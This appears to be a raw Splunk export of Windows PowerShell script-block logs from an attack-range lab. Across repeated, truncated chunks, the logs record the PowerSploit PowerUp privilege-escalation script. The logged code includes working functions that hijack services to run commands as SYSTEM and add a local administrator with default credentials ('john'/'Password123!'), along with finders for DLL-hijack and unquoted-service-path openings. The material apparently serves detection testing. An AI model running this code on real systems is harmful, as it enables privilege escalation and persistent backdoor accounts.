($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { $Exclude = $True } if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { $Exclude = $True } if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { $Exclude = $True } # output the process name and hijackable path if exclusion wasn't marked if (-not $Exclude){ $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath $Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process') $Out } } } } catch { Write-Verbose ""Error: $_"" } } } } } function Find-PathDLLHijack { <# .SYNOPSIS Finds all directories in the system %PATH% that are modifiable by the current user. Author: Will Schroeder (@harmj0y) License: BSD 3a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,4104,122483,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,13,56,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,,"'5388'",,,,,,122483,,,,"a7b1e4fb-95d2-4636-adf0-00efffb56975","iceName')] [String] [ValidateNotNullOrEmpty()] $Name, [String] $UserName = 'john', [String] $Password = 'Password123!', [String] $LocalGroup = 'Administrators', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [String] [ValidateNotNullOrEmpty()] $Command ) BEGIN { if ($PSBoundParameters['Command']) { $ServiceCommand = $Command } else { if ($PSBoundParameters['Credential']) { $UserNameToAdd = $Credential.UserName $PasswordToAdd = $Credential.GetNetworkCredential().Password } else { $UserNameToAdd = $UserName $PasswordToAdd = $Password } if ($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation $ServiceCommand = ""net localgroup $LocalGroup $UserNameToAdd /add"" } else { # create a local user and add it to the local specified group $ServiceCommand = ""net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"" } } } PROCESS { $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal if (-not $ModifiableFiles) { throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."" } $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = ""$($ServicePath).bak"" Write-Verbose ""Backing up '$ServicePath' to '$BackupPath'"" try { Copy-Item -Path $ServicePath -Destination $BackupPath -Force } catch { Write-Warning ""Error backing up '$ServicePath' : $_"" } $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath $Result | Add-Member Noteproperty 'BackupPath' $BackupPath $Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed') $Result } } function Restore-ServiceBinary { <# .SYNOPSIS Restores a service binary backed up by Install-ServiceBinary. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ServiceDetail, Get-ModifiablePath .DESCRIPTION Takes a service Name or a ServiceProcess.ServiceController on the pipeline and checks for the existence of an ""OriginalServiceBinary.exe.bak"" in the service binary location. If it exists, the backup binary is restored to the original binary path. .PARAMETER Name The service name to restore a binary for. .PARAMETER BackupPath Optional manual path to the backup binary. .EXAMPLE Restore-ServiceBinary -Name VulnSVC Restore the original binary for the service 'VulnSVC'. .EXAMPLE Get-Service VulnSVC | Restore-ServiceBinary Restore the original binary for the service 'VulnSVC'. .EXAMPLE Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' Restore the original binary for the service 'VulnSVC' from a custom location. .OUTPUTS PowerUp.ServiceBinary.Installed #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ServiceBinary.Restored')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] $Name, [Parameter(Position = 1)] [ValidateScript({Test-Path -Path $_ })] [String] $BackupPath ) PROCESS { $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal if (-not $ModifiableFiles) { throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."" } $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = ""$($ServicePath).bak"" Copy-Item -Path $BackupPath -Destination $ServicePath -Force Remove-Item -Path $BackupPath -Force $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name $Out | Add-Member Noteproperty 'ServicePath' $ServicePath $Out | Add-Member Noteproperty 'BackupPath' $BackupPath $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored') $Out } } ######################################################## # # DLL Hijacking # ######################################################## function Find-ProcessDLLHijack { <# .SYNOPSIS Finds all DLL hijack locations for currently running processes. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates all currently running processes with Get-Process (or accepts an input process object from Get-Process) and enumerates the loaded modules for each. All loaded module name exists outside of the process binary base path, as those are DLL load-order hijack candidates. .PARAMETER Name The name of a process to enumerate for possible DLL path hijack opportunities. .PARAMETER ExcludeWindows Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* .PARAMETER ExcludeProgramFiles Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* .PARAMETER ExcludeOwned Exclude processes the current user owns. .EXAMPLE Find-ProcessDLLHijack Finds possible hijackable DLL locations for all processes. .EXAMPLE Get-Process VulnProcess | Find-ProcessDLLHijack Finds possible hijackable DLL locations for the 'VulnProcess' processes. .EXAMPLE Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles Finds possible hijackable DLL locations not in C:\Windows\* and not in C:\Program Files\* or C:\Program Files (x86)\* .EXAMPLE Find-ProcessDLLHijack -ExcludeOwned Finds possible hijackable DLL location for processes not owned by the current user. .OUTPUTS PowerUp.HijackableDLL.Process .LINK https://www.mandiant.com/blog/malware-persistence-windows-registry/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.HijackableDLL.Process')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ProcessName')] [String[]] $Name = $(Get-Process | Select-Object -Expand Name), [Switch] $ExcludeWindows, [Switch] $ExcludeProgramFiles, [Switch] $ExcludeOwned ) BEGIN { # the known DLL cache to exclude from our findings # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx $Keys = (Get-Item ""HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs"") $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith("".dll"") } $KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith("".dll"") } $KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }} $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name # get the owners for all processes $Owners = @{} Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user } } PROCESS { ForEach ($ProcessName in $Name) { $TargetProcess = Get-Process -Name $ProcessName if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent $LoadedModules = $TargetProcess.Modules $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] ForEach ($Module in $LoadedModules){ $ModulePath = ""$BasePath\$($Module.ModuleName)"" # if the module path doesn't exist in the process base path folder if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { $Exclude = $False if ($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { $Exclude = $True } if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { $Exclude = $True } if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { $Exclude = $True } # output the process name and hijackable path if exclusion wasn't marked if (-not $Exclude){ $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath $Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process') $Out } } } } catch { Write-Verbose ""Error: $_"" } } } } } function Find-PathDLLHijack { <# .SYNOPSIS Finds all directories in the system %PATH% that are modifiable by the current user. Author: Will Schroeder (@harmj0y) License: BSD 3",,,,,,,,,,,"'2022-05-02T18:24:40.741455000Z'","4104132150x0122483Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122483Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local1356iceName')] [String] [ValidateNotNullOrEmpty()] $Name, [String] $UserName = 'john', [String] $Password = 'Password123!', [String] $LocalGroup = 'Administrators', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [String] [ValidateNotNullOrEmpty()] $Command ) BEGIN { if ($PSBoundParameters['Command']) { $ServiceCommand = $Command } else { if ($PSBoundParameters['Credential']) { $UserNameToAdd = $Credential.UserName $PasswordToAdd = $Credential.GetNetworkCredential().Password } else { $UserNameToAdd = $UserName $PasswordToAdd = $Password } if ($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation $ServiceCommand = ""net localgroup $LocalGroup $UserNameToAdd /add"" } else { # create a local user and add it to the local specified group $ServiceCommand = ""net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"" } } } PROCESS { $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal if (-not $ModifiableFiles) { throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."" } $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = ""$($ServicePath).bak"" Write-Verbose ""Backing up '$ServicePath' to '$BackupPath'"" try { Copy-Item -Path $ServicePath -Destination $BackupPath -Force } catch { Write-Warning ""Error backing up '$ServicePath' : $_"" } $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath $Result | Add-Member Noteproperty 'BackupPath' $BackupPath $Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed') $Result } } function Restore-ServiceBinary { <# .SYNOPSIS Restores a service binary backed up by Install-ServiceBinary. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ServiceDetail, Get-ModifiablePath .DESCRIPTION Takes a service Name or a ServiceProcess.ServiceController on the pipeline and checks for the existence of an ""OriginalServiceBinary.exe.bak"" in the service binary location. If it exists, the backup binary is restored to the original binary path. .PARAMETER Name The service name to restore a binary for. .PARAMETER BackupPath Optional manual path to the backup binary. .EXAMPLE Restore-ServiceBinary -Name VulnSVC Restore the original binary for the service 'VulnSVC'. .EXAMPLE Get-Service VulnSVC | Restore-ServiceBinary Restore the original binary for the service 'VulnSVC'. .EXAMPLE Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' Restore the original binary for the service 'VulnSVC' from a custom location. .OUTPUTS PowerUp.ServiceBinary.Installed #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ServiceBinary.Restored')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] $Name, [Parameter(Position = 1)] [ValidateScript({Test-Path -Path $_ })] [String] $BackupPath ) PROCESS { $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal if (-not $ModifiableFiles) { throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."" } $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = ""$($ServicePath).bak"" Copy-Item -Path $BackupPath -Destination $ServicePath -Force Remove-Item -Path $BackupPath -Force $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name $Out | Add-Member Noteproperty 'ServicePath' $ServicePath $Out | Add-Member Noteproperty 'BackupPath' $BackupPath $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored') $Out } } ######################################################## # # DLL Hijacking # ######################################################## function Find-ProcessDLLHijack { <# .SYNOPSIS Finds all DLL hijack locations for currently running processes. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates all currently running processes with Get-Process (or accepts an input process object from Get-Process) and enumerates the loaded modules for each. All loaded module name exists outside of the process binary base path, as those are DLL load-order hijack candidates. .PARAMETER Name The name of a process to enumerate for possible DLL path hijack opportunities. .PARAMETER ExcludeWindows Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* .PARAMETER ExcludeProgramFiles Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* .PARAMETER ExcludeOwned Exclude processes the current user owns. .EXAMPLE Find-ProcessDLLHijack Finds possible hijackable DLL locations for all processes. .EXAMPLE Get-Process VulnProcess | Find-ProcessDLLHijack Finds possible hijackable DLL locations for the 'VulnProcess' processes. .EXAMPLE Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles Finds possible hijackable DLL locations not in C:\Windows\* and not in C:\Program Files\* or C:\Program Files (x86)\* .EXAMPLE Find-ProcessDLLHijack -ExcludeOwned Finds possible hijackable DLL location for processes not owned by the current user. .OUTPUTS PowerUp.HijackableDLL.Process .LINK https://www.mandiant.com/blog/malware-persistence-windows-registry/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.HijackableDLL.Process')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ProcessName')] [String[]] $Name = $(Get-Process | Select-Object -Expand Name), [Switch] $ExcludeWindows, [Switch] $ExcludeProgramFiles, [Switch] $ExcludeOwned ) BEGIN { # the known DLL cache to exclude from our findings # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx $Keys = (Get-Item ""HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs"") $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith("".dll"") } $KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith("".dll"") } $KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }} $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name # get the owners for all processes $Owners = @{} Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user } } PROCESS { ForEach ($ProcessName in $Name) { $TargetProcess = Get-Process -Name $ProcessName if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent $LoadedModules = $TargetProcess.Modules $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] ForEach ($Module in $LoadedModules){ $ModulePath = ""$BasePath\$($Module.ModuleName)"" # if the module path doesn't exist in the process base path folder if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { $Exclude = $False if ($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { $Exclude = $True } if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { $Exclude = $True } if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { $Exclude = $True } # output the process name and hijackable path if exclusion wasn't marked if (-not $Exclude){ $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath $Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process') $Out } } } } catch { Write-Verbose ""Error: $_"" } } } } } function Find-PathDLLHijack { <# .SYNOPSIS Finds all directories in the system %PATH% that are modifiable by the current user. Author: Will Schroeder (@harmj0y) License: BSD 3a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1","2022-05-02T18:24:40.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122483,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122483,win,337,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0005-4E66-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"856at also have a space in the name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission .DESCRIPTION Uses Get-WmiObject to query all win32_service objects and extract out the binary pathname for each. Then checks if any binary paths have a space and aren't quoted. .EXAMPLE Get-UnquotedService Get a set of potentially exploitable services. .OUTPUTS PowerUp.UnquotedService .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.UnquotedService')] [CmdletBinding()] Param() # find all paths to service .exe's that have a space in the path and aren't quoted $VulnServices = Get-WmiObject -Class win32_service | Where-Object { $_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith(""`"""")) -and (-not $_.pathname.StartsWith(""'"")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*' } if ($VulnServices) { ForEach ($Service in $VulnServices) { $SplitPathArray = $Service.pathname.Split(' ') $ConcatPathArray = @() for ($i=0;$i -lt $SplitPathArray.Count; $i++) { $ConcatPathArray += $SplitPathArray[0..$i] -join ' ' } $ModifiableFiles = $ConcatPathArray | Get-ModifiablePath $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'ModifiablePath' $_ $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' ""Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService') $Out } } } } function Get-ModifiableServiceFile { <# .SYNOPSIS Enumerates all services and returns vulnerable service files. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath .DESCRIPTION Enumerates all services by querying the WMI win32_service class. For each service, it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine if the current user has rights to modify the service binary itself or any associated arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. .EXAMPLE Get-ModifiableServiceFile Get a set of potentially exploitable service binares/config files. .OUTPUTS PowerUp.ModifiablePath #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ModifiableServiceFile')] [CmdletBinding()] Param() Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { $ServiceName = $_.name $ServicePath = $_.pathname $ServiceStartName = $_.startname $ServicePath | Get-ModifiablePath | ForEach-Object { $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' ""Install-ServiceBinary -Name '$ServiceName'"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile') $Out } } } function Get-ModifiableService { <# .SYNOPSIS Enumerates all services and returns services for which the current user can modify the binPath. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail .DESCRIPTION Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if the current user has rights to change the service configuration. .EXAMPLE Get-ModifiableService Get a set of potentially exploitable services. .OUTPUTS PowerUp.ModifiablePath #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ModifiableService')] [CmdletBinding()] Param() Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { $ServiceDetails = $_ | Get-ServiceDetail $CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname $Out | Add-Member Noteproperty 'AbuseFunction' ""Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"" $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) $Out | Add-Member Aliasproperty Name ServiceName $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService') $Out } } function Get-ServiceDetail { <# .SYNOPSIS Returns detailed information about a specified service by querying the WMI win32_service class for the specified service name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on the pipeline object returned by Get-Service, extracts out the service name, queries the WMI win32_service class for the specified service for details like binPath, and outputs everything. .PARAMETER Name An array of one or more service names to query information for. .EXAMPLE Get-ServiceDetail -Name VulnSVC Gets detailed information about the 'VulnSVC' service. .EXAMPLE Get-Service VulnSVC | Get-ServiceDetail Gets detailed information about the 'VulnSVC' service. .OUTPUTS System.Management.ManagementObject #> [OutputType('PowerUp.ModifiableService')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] $Name ) PROCESS { ForEach($IndividualService in $Name) { $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop if ($TargetService) { Get-WmiObject -Class win32_service -Filter ""Name='$($TargetService.Name)'"" | Where-Object {$_} | ForEach-Object { try { $_ } catch { Write-Verbose ""Error: $_"" } } } } } } ######################################################## # # Service abuse # ######################################################## function Invoke-ServiceAbuse { <# .SYNOPSIS Abuses a function the current user has configuration rights on in order to add a local administrator or execute a custom command. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath .DESCRIPTION Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current user has configuration modification rights on and executes a series of automated actions to execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the original service binary path and configuration state are preserved. Then the service is stopped and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a series of commands, the service is started, stopped, and the next command is configured. After completion, the original service configuration is restored and a custom object is returned that captures the service abused and commands run. .PARAMETER Name An array of one or more service names to abuse. .PARAMETER UserName The [domain\]username to add. If not given, it defaults to ""john"". Domain users are not created, only added to the specified localgroup. .PARAMETER Password The password to set for the added user. If not given, it defaults to ""Password123!"" .PARAMETER LocalGroup Local group name to add the user to (default of 'Administrators'). .PARAMETER Credential A [Management.Automation.PSCredential] object specifying the user/password to add. .PARAMETER Command Custom command to execute instead of user creation. .PARAMETER Force Switch. Force service stopping, even if other services are dependent. .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC Abuses service 'VulnSVC' to add a localuser ""john"" with password ""Password123! to the machine and local administrator group .EXAMPLE Get-Service VulnSVC | Invoke-ServiceAbuse Abuses service 'VulnSVC' to add a localuser ""john"" with password ""Password123! to the machine and local administrator group .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -UserName ""TESTLAB\john"" Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the local adminisrtators group. .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup ""Power Users"" Abuses service 'VulnSVC' to add a localuser ""backdoor"" with password ""password"" to the machine and local ""Power Users"" group .EXAMPLE Invoke-ServiceAbuse -Name VulnSVC -Command ""net ..."" Abuses service 'VulnSVC' to execute a custom command. .OUTPUTS PowerUp.AbusedService #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', ''a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,4104,122478,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,8,56,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,,"'5388'",,,,,,122478,,,,"a7b1e4fb-95d2-4636-adf0-00efffb56975","at also have a space in the name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission .DESCRIPTION Uses Get-WmiObject to query all win32_service objects and extract out the binary pathname for each. Then checks if any binary paths have a space and aren't quoted. .EXAMPLE Get-UnquotedService Get a set of potentially exploitable services. .OUTPUTS PowerUp.UnquotedService .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.UnquotedService')] [CmdletBinding()] Param() # find all paths to service .exe's that have a space in the path and aren't quoted $VulnServices = Get-WmiObject -Class win32_service | Where-Object { $_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith(""`"""")) -and (-not $_.pathname.StartsWith(""'"")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*' } if ($VulnServices) { ForEach ($Service in $VulnServices) { $SplitPathArray = $Service.pathname.Split(' ') $ConcatPathArray = @() for ($i=0;$i -lt $SplitPathArray.Count; $i++) { $ConcatPathArray += $SplitPathArray[0..$i] -join ' ' } $ModifiableFiles = $ConcatPathArray | Get-ModifiablePath $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name $Out = New-Object PSObject $Out | Add-Member 